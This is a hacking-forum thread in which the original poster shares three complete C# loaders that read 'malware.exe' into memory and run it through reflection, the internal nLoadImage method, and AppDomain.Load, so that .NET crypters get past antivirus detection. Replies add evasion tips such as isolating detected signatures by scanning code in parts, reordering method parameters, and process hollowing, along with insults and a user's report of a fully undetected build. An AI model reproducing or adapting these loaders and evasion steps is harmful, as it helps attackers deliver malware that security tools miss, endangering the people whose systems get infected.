

Forum:[Hack Forums](#)

Thread: [\[FUD YOUR CRYPTER\] Assembly invocation alternatives](#)

gigajew - March 21, 2017, 2:16 pm

Is your .NET crypter getting detected? Is it the old Assembly.Load and EntryPoint.Invoke calls? Man, I wish there were other ways to call them. Oh wait, there are! Here are some ways to invoke assemblies, without directly calling Assembly.Load (IL level, not memory level). Unless you are using a .NET compatible RunPE (ahem, Menalix), this could be useful for you.

Method one

Using reflection to call methods by string name.

Code using System;
using System.Diagnostics;

using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;

using System.IO;
using System.Reflection;

using System.Collections;
using System.Collections.Generic;

namespace pg1 {

public static class Program {

public static void Main() {

var filename = "malware.exe";

var assembly = Call(typeof(Assembly), "Load", System.IO.File.ReadAllBytes(filename)) as
Assembly; // or (Assembly)...

Call(typeof(Program), "InvokeEntrypoint", assembly);

}

public static void InvokeEntrypoint(Assembly asm) {

asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});

}

//Calls method using reflection, instead of directly

public static object Call(Type space, string name, params object[] argv) {

List<Type> ptyp = new List<Type>();

foreach(var o in argv) {

ptyp.Add(o.GetType());

}

```

        var m = space.GetMethod(name, ptyp.ToArray());
        return m.Invoke(null, argv);
    }
}

```

Method Two

Using the internal method nLoadImage (from System.Reflection.RuntimeAssembly)

(You may have to investigate the parameter usage for .NET 2.0 - 3.5, this works in .NET 4.0 afaiK

```

Code using System;
using System.Diagnostics;

```

```

using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;

```

```

using System.IO;
using System.Reflection;

```

```

using System.Collections;
using System.Collections.Generic;

```

```

namespace pg1 {

```

```

    public static class Program {

```

```

        public static void Main() {

```

```

            /*

```

```

                Get the malware data

```

```

            */

```

```

            var data = System.IO.File.ReadAllBytes("malware.exe");

```

```

            /*

```

```

                Invoke the internal method _nLoad

```

```

            */

```

```

            var assembly = InternalLoad(data);

```

```

            /*

```

```

                Execute

```

```

            */

```

```

            InvokeEntrypoint(assembly);

```

```

        }

```

```

        public static Assembly InternalLoad(byte[] image) {

```

```

            return Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage",
BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { image, null, null, null, false,
null }) as Assembly;

```

```

        }

```

```

        public static void InvokeEntrypoint(Assembly asm) {

```

```

        asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
    }
}

```

Method three

Using the AppDomain.Load method

Code using System;

using System.Diagnostics;

using System.Runtime.CompilerServices;

using System.Runtime.InteropServices;

using System.Security;

using System.Security.Permissions;

using System.IO;

using System.Reflection;

using System.Collections;

using System.Collections.Generic;

namespace pg1 {

public static class Program {

public static void Main() {

var data = System.IO.File.ReadAllBytes("malware.exe");

SetupInvoker(); //call only once, invokes the entrypoint

var assembly = AppDomainLoad(data);

}

public static void SetupInvoker() {

AppDomain.CurrentDomain.AssemblyLoad += delegate(object sender,

AssemblyLoadEventArgs args) {

InvokeEntrypoint(args.LoadedAssembly);

};

}

public static Assembly AppDomainLoad(byte[] image) {

return AppDomain.CurrentDomain.Load(image);

}

public static void InvokeEntrypoint(Assembly asm) {

asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});

}

}

}

There are some more ways to do this, and I may post them here later. Thanks for reading.

Zilog80 - March 21, 2017, 3:20 pm

Maybe the most stupid question ever:

If you want to execute "malware.exe", what is wrong using:?

```
Code Process.Start("malware.exe")
```

As I said before, maybe it is the most stupid question ever. Keep Calm and ELI5

gigajew - March 21, 2017, 7:12 pm

(Mar 21, 2017 03:20 PM)Zilog80 Wrote: [\[CITE\]](#) Maybe the most stupid question ever:
If you want to execute "malware.exe", what is wrong using:?

```
Code Process.Start("malware.exe")
```

As I said before, maybe it is the most stupid question ever. Keep Calm and ELI5

By keeping the file in memory you won't have the malware detected by writing it to the disk

Mustys - March 22, 2017, 4:47 pm

Nice guide for those who have this problem, keep it up!

ONURIS - March 23, 2017, 9:33 am

nice codes , may help some mates

JUSTIN - March 23, 2017, 11:57 am

(Mar 21, 2017 07:12 PM)gigajew Wrote: [\[CITE\]](#) By keeping the file in memory you won't have the malware detected by writing it to the disk

How is it being executed in memory...? Where does it get the assembly to execute from?

gigajew - March 23, 2017, 12:59 pm

(Mar 23, 2017 11:57 AM)JUSTIN Wrote: [\[CITE\]](#) How is it being executed in memory...? Where does it get the assembly to execute from?

From a byte array containing the data, retrieved from (for example) native or managed resources

JUSTIN - March 23, 2017, 1:15 pm

(Mar 23, 2017 12:59 PM)gigajew Wrote: [\[CITE\]](#) From a byte array containing the data, retrieved from (for example) native or managed resources

Oh that's really interesting, thanks for the info. Been curious about that for a while. Might play around with it.

n0\$f3ratu\$ - March 24, 2017, 3:37 am

(Mar 21, 2017 07:12 PM)gigajew Wrote: [\[CITE\]](#) By keeping the file in memory you won't have the malware detected by writing it to the disk

Ohhh dude, you are so damn wrong!!!

Stop telling peoples shit like this.

Cecilia - March 24, 2017, 3:47 am

(Mar 24, 2017 03:37 AM)n0\$f3ratu\$ Wrote: [\[CITE\]](#) Ohhh dude, you are so damn wrong!!!

Stop telling peoples shit like this.

Hmm, I wonder what that elusive thing is called... that's right,

Memory scanning!

gigajew - March 24, 2017, 4:16 am

(Mar 24, 2017 03:37 AM)n0\$f3ratu\$ Wrote: [\[CITE\]](#) Ohhh dude, you are so damn wrong!!!

Stop telling peoples shit like this.

Read it again. I'm not saying payload in memory is undetected, I'm saying the payload won't be detected from writing it to the disk, which it then won't and which it then can't

Take your thumb out of your ass and put on some reading glasses

Mr. Kim - March 24, 2017, 7:18 pm

Nice info <3

Any useful Win32 functions for process hollowing you know of? Or anyone for that matter, I'm trying to work on a crypter without .net dependencies.

gigajew - March 24, 2017, 7:21 pm

(Mar 24, 2017 07:18 PM)M3MORY Wrote: [\[CITE\]](#) Nice info <3

Any useful Win32 functions for process hollowing you know of? Or anyone for that matter, I'm trying to work on a crypter without .net dependencies.

So are you writing it in c/c++?

Mr. Kim - March 24, 2017, 7:29 pm

(Mar 24, 2017 07:21 PM)gigajew Wrote: [\[CITE\]](#) So are you writing it in c/c++?

C++

TaySoft - August 10, 2017, 3:41 pm

All 3 Methods are detected as TR/DROPER.MSIL.GEN (AVIRA)

Won't be detected if i ONLY write down the payload on disk without invoking the payload.

But as soon as i try to invoke that written down payload (or even without writing/reading, just loading in a variable of encr. payload) in memory using one of your 3 methods, it still instantly gets detected.

Tested all 3 of your provided methods and all of them got detected.

Was is really FUD as you claimed to be on your thread title? Can't believe i missed the train by a couple of months then ugh :(

Any workaround here?

Barret - August 10, 2017, 4:50 pm

(Aug 10, 2017 03:41 PM)TaySoft Wrote: [\[CITE\]](#) All 3 Methods are detected as TR/DROPER.MSIL.GEN (AVIRA)

Won't be detected if i ONLY write down the payload on disk without invoking the payload.

But as soon as i try to invoke that written down payload (or even without writing/reading, just loading in a variable of encr. payload) in memory using one of your 3 methods, it still instantly gets detected.

Tested all 3 of your provided methods and all of them got detected.

Was is really FUD as you claimed to be on your thread title? Can't believe i missed the train by a couple of months then ugh :(

Any workaround here?

How about you do something useful instead of playing russian roulette with the law? A felony always looks nice on your application job ofc if your into street rep.

TaySoft - August 11, 2017, 2:33 am

(Aug 10, 2017 04:50 PM)Barret Wrote: [\[CITE\]](#) How about you do something useful instead of playing russian roulette with the law? A felony always looks nice on your application job ofc if your into street

rep.

that was a legit question, wtf you on about lol

I see just out here to increase your postcount with out of context posts.

Little Fucker!

Anyone else wanna contribute to the actual topic?

gigajew - August 11, 2017, 7:36 am

(Aug 11, 2017 02:33 AM)TaySoft Wrote: [\[CITE\]](#) that was a legit question, wtf you on about lol

I see just out here to increase your postcount with out of context posts.

Little Fucker!

Anyone else wanna contribute to the actual topic?

As an answer to your original question; you can fud your application by breaking the code down in parts and scanning each one to see which is detected. Then you can change the signature of methods by changing the order the parameters come in. Another thing is you can get the type and method and invoke them

TaySoft - August 11, 2017, 7:53 am

(Aug 11, 2017 07:36 AM)gigajew Wrote: [\[CITE\]](#) As an answer to your original question; you can fud your application by breaking the code down in parts and scanning each one to see which is detected. Then you can change the signature of methods by changing the order the parameters come in. Another thing is you can get the type and method and invoke them

Thanks for the helpful input mate.

The 'Assembly.Load(...)' line is detected for me.

Everything else seems to be fine.

I already tried with invoking using type and method, keeps leading to detection.

Tested this with all 3 alternatives, everything's detected.

This is slowly getting frustrating ?

Ninja - August 11, 2017, 9:15 am

(Mar 21, 2017 07:12 PM)gigajew Wrote: [\[CITE\]](#) By keeping the file in memory you won't have the malware detected by writing it to the disk

(Mar 24, 2017 04:16 AM)gigajew Wrote: [\[CITE\]](#) Read it again. I'm not saying payload in memory is undetected, I'm saying the payload won't be detected from writing it to the disk, which it then won't and which it then can't

Take your thumb out of your ass and put on some reading glasses

The way you can interpret your statement, and the most obvious way to interpret it (in my opinion), is that detection is caused by writing it to the disk and you are avoiding that by keeping the payload in memory. It sounds to me that you either worded your statement wrong, or that you meant it like this but later wanted to cover your ass.

Either way, take your thumb out of your ass and learn to word proper arguments.

(Aug 10, 2017 04:50 PM)Barret Wrote: [\[CITE\]](#) How about you do something useful instead of playing russian roulette with the law? A felony always looks nice on your application job ofc if your into street rep.

And a tough guy on the internet is not a tough guy in prison.

Prisoner #1: "What are you in for?"

Prisoner #2: "Child rape. 3 counts of murder."

Prisoner #3: "5 counts of murder and grand theft auto."

OP aka Prisoner #4: "I make computer virusses lol"

Guess who's anus is getting a stretch that night.

Sn0wX - August 11, 2017, 11:01 am

Iv spent 8 years mylife in uk jails. Noone ever battered an eye lid because i designed programs on pen and paper,getting boxs sent in. We aint all little boys like you

TaySoft - August 11, 2017, 11:41 am

Guys, guys, guys, guys pack it in, pack it in for fucks sake!

I've got some good news for y'all who tried to help me.

I just Refud it with a completely diffrent method (Non Sys.Refl) 0/35.

Mods can close this thread now, thanks aggain everyone!

Ninja - August 11, 2017, 9:37 pm

(Aug 11, 2017 11:01 AM)Sn0wX Wrote: [\[CITE\]](#) Iv spent 8 years mylife in uk jails. Noone ever battered an eye lid because i designed programs on pen and paper,getting boxs sent in. We aint all little boys like you

You spent 8 years in jail, how am I not surprised.

masterpill - August 12, 2017, 5:21 am

Nice tutorial man! Keep it up!

gigajew - August 12, 2017, 6:11 am

(Aug 12, 2017 05:21 AM)masterpill Wrote: [\[CITE\]](#) Nice tutorial man! Keep it up!

Thank you man

Scapula™ - August 12, 2017, 12:12 pm

Nice work man! Good participation even if I think you should keep this for yourself.

mrharmful - August 22, 2017, 3:10 pm

(Mar 21, 2017 03:20 PM)Zilog80 Wrote: [\[CITE\]](#) Maybe the most stupid question ever:
If you want to execute "malware.exe", what is wrong using:?

Code Process.Start("malware.exe")

As I said before, maybe it is the most stupid question ever. Keep Calm and ELI5